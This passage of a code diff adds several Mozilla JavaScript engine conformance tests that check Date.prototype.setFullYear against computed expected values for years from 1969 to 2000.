+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCMonth( t, month, date ) {
+ var T = t;
+ var MONTH = Number( month );
+ var DATE = ( date == void 0) ? DateFromTime(T) : Number( date );
+
+ var RESULT4 = MakeDay(YearFromTime(T), MONTH, DATE );
+ var RESULT5 = MakeDate( RESULT4, TimeWithinDay(T));
+
+ return ( TimeClip(RESULT5) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-1.js b/js/src/tests/ecma/Date/15.9.5.36-1.js
new file mode 100644
index 000000000..5722c8d7e
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-1.js
@@ -0,0 +1,131 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+
+// 1969
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1969);TDATE",
+ UTCDateFromTime(SetFullYear(0,1969)),
+ LocalDateFromTime(SetFullYear(0,1969)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1969,11);TDATE",
+ UTCDateFromTime(SetFullYear(0,1969,11)),
+ LocalDateFromTime(SetFullYear(0,1969,11)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1969,11,31);TDATE",
+ UTCDateFromTime(SetFullYear(0,1969,11,31)),
+ LocalDateFromTime(SetFullYear(0,1969,11,31)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-2.js b/js/src/tests/ecma/Date/15.9.5.36-2.js
new file mode 100644
index 000000000..c963c7d79
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-2.js
@@ -0,0 +1,130 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+// 1970
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1970);TDATE",
+ UTCDateFromTime(SetFullYear(0,1970)),
+ LocalDateFromTime(SetFullYear(0,1970)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1970,0);TDATE",
+ UTCDateFromTime(SetFullYear(0,1970,0)),
+ LocalDateFromTime(SetFullYear(0,1970,0)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1970,0,1);TDATE",
+ UTCDateFromTime(SetFullYear(0,1970,0,1)),
+ LocalDateFromTime(SetFullYear(0,1970,0,1)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-3.js b/js/src/tests/ecma/Date/15.9.5.36-3.js
new file mode 100644
index 000000000..b217b6ea8
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-3.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+// 1971
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1971);TDATE",
+ UTCDateFromTime(SetFullYear(0,1971)),
+ LocalDateFromTime(SetFullYear(0,1971)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1971,0);TDATE",
+ UTCDateFromTime(SetFullYear(0,1971,0)),
+ LocalDateFromTime(SetFullYear(0,1971,0)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1971,0,1);TDATE",
+ UTCDateFromTime(SetFullYear(0,1971,0,1)),
+ LocalDateFromTime(SetFullYear(0,1971,0,1)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-4.js b/js/src/tests/ecma/Date/15.9.5.36-4.js
new file mode 100644
index 000000000..178e02260
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-4.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+// 1999
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1999);TDATE",
+ UTCDateFromTime(SetFullYear(0,1999)),
+ LocalDateFromTime(SetFullYear(0,1999)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1999,11);TDATE",
+ UTCDateFromTime(SetFullYear(0,1999,11)),
+ LocalDateFromTime(SetFullYear(0,1999,11)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1999,11,31);TDATE",
+ UTCDateFromTime(SetFullYear(0,1999,11,31)),
+ LocalDateFromTime(SetFullYear(0,1999,11,31)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-5.js b/js/src/tests/ecma/Date/15.9.5.36-5.js
new file mode 100644
index 000000000..e55cac094
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-5.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+// 2000
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000);TDATE",
+ UTCDateFromTime(SetFullYear(0,2000)),
+ LocalDateFromTime(SetFullYear(0,2000)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,0);TDATE",
+ UTCDateFromTime(SetFullYear(0,2000,0)),
+ LocalDateFromTime(SetFullYear(0,2000,0)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,0,1);TDATE",
+ UTCDateFromTime(SetFullYear(0,2000,0,1)),
+ LocalDateFromTime(SetFullYear(0,2000,0,1)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-6.js b/js/src/tests/ecma/Date/15.9.5.36-6.js
new file mode 100644
index 000000000..3985e4fff
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-6.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
